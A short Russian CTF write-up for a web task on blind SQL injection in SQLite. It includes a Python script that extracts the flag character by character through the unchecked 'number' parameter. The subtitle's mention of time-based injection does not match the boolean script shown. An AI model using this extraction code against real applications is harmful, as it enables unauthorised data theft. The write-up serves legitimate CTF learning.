/Разборы задач
5 ноября 2026
Райтап на задачу «Совсем слепая инъекция»
Извлекаем флаг через временную SQL-инъекцию в SQLite и отсеиваем случайные задержки ответа.3
3

Web
Задача «Слепая инъекция»
Читаем задание и исходники. Очевидно, что это задание на SQL-инъекцию.
SQL-инъекция — это тип уязвимости, когда злоумышленник (в данном случае мы) внедряет вредоносный SQL-код в различные поля ввода. Если приложение обрабатывает данные без должной проверки, сервер выполняет этот код в своей базе данных.
По исходному коду видим, что number подставляется в query без каких-либо проверок, значит мы можем внедрить туда свой код, чтобы извлечь посимвольно флаг. Как мы будем это делать?
Мы будем перебирать все ASCII-символы, из которых состоит флаг, и сравнивать с первой буквой. Если сходится — результат true, то мы угадали. Затем угадываем вторую, третью и так далее, пока не угадаем весь флаг. Вот простая реализация на python:
import requests, string
URL = "https://blind-injection.t1.bug-makers.ru/check"
CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_{}"
def query(cond):
r = requests.get(URL, params={"number": cond}, timeout=15)
r.raise_for_status()
return r.json()["success"]
flag = ""
for i in range(1, 200):
for ch in CHARS:
if query(f"(SELECT substr((SELECT flag FROM flag LIMIT 1),{i},1)='{ch}')"):
flag += ch
print(flag, flush=True)
break
else:
break
print(flag)
Остаётся только дождаться выполнения — и флаг у вас. Если вы не любите писать скрипты, то можно использовать sqlmap — встроенную утилиту в Kali Linux для обнаружения и эксплуатации sql-injection уязвимостей.
Не обязательно сразу указывать sql-query и dbms — утилита достаточно умная для самостоятельной разведки, но зачем зря тратить время на разведку, если мы её уже сделали?
Остаётся только дождаться получения флага и отправить его на сайт.